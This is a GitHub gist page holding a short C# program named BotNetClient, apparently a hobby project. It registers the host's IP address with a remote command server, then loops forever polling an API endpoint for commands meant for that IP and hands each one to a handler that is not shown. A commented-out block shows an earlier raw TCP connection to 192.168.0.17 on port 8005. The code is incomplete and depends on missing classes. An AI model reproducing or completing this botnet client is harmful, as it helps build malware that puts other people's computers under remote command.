Created
November 17, 2019 19:33
-
-
Save Zerumi/01fc12a1aa06a0f21b0bbed903f4facb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.Threading.Tasks; | |
using System.Diagnostics; | |
using System.Net; | |
using System.Net.Http; | |
using System.Net.Http.Headers; | |
using System.Net.Sockets; | |
namespace BotNetClient | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
string address = "192.168.0.17"; | |
int port = 8005; | |
IPHostEntry iphostinfo = Dns.Resolve(Dns.GetHostName()); | |
IPAddress ipadress = iphostinfo.AddressList[0]; | |
List<string> apiipadress = new List<string> { }; | |
if (HttpHandler.Class1.ResultIPTask().Result.IndexOf(ipadress.ToString())>=0) | |
{ | |
} | |
else | |
{ | |
HttpHandler.Class1.CreateIpAndIdAsync(ipadress.ToString()); | |
} | |
#region tcp and socket code | |
//IPHostEntry iphostinfo = Dns.Resolve(Dns.GetHostName()); | |
//IPAddress ipadress = iphostinfo.AddressList[0]; | |
//IPEndPoint ippoint = new IPEndPoint(ipadress, 8005); | |
//Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); | |
//TcpClient client = null; | |
//string address = "192.168.0.17"; | |
//int port = 8005; | |
//string answer = null; | |
//client = new TcpClient(address, port); | |
//NetworkStream stream1 = client.GetStream(); | |
//byte[] ipsend = new byte[100]; | |
//ipsend = Encoding.Unicode.GetBytes(ipadress.ToString()); | |
//stream1.Write(ipsend, 0, ipsend.Length); | |
#endregion | |
uint id = 1; | |
try | |
{ | |
while (true) | |
{ | |
if ((HttpHandler.Class1.GetCommandAssync<HttpHandler.Command>($"/api/v1/messages/{id}").Result!=null)) | |
{ | |
if ((HttpHandler.Class1.ResultIdCmd(id.ToString()).Result >= id) && (HttpHandler.Class1.ResultIpCmdAsync(id.ToString()).Result.IndexOf(ipadress.ToString()) >= 0)) | |
{ | |
string answer =HttpHandler.Class1.ResultCmd(id.ToString()).Result; | |
Stopwatch watch = new Stopwatch(); | |
watch.Start(); | |
string message = "Ответ от " + ipadress.ToString() + " : " + handler.handl(answer) + ". Time Used: " + watch.ElapsedMilliseconds; | |
watch.Stop(); | |
id++; | |
} | |
else | |
{ | |
continue; | |
} | |
} | |
else | |
{ | |
continue; | |
} | |
} | |
} | |
catch (Exception ex) | |
{ | |
byte[] byteex = new byte[1024]; | |
Console.WriteLine(ex.ToString()); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@PizhikCoder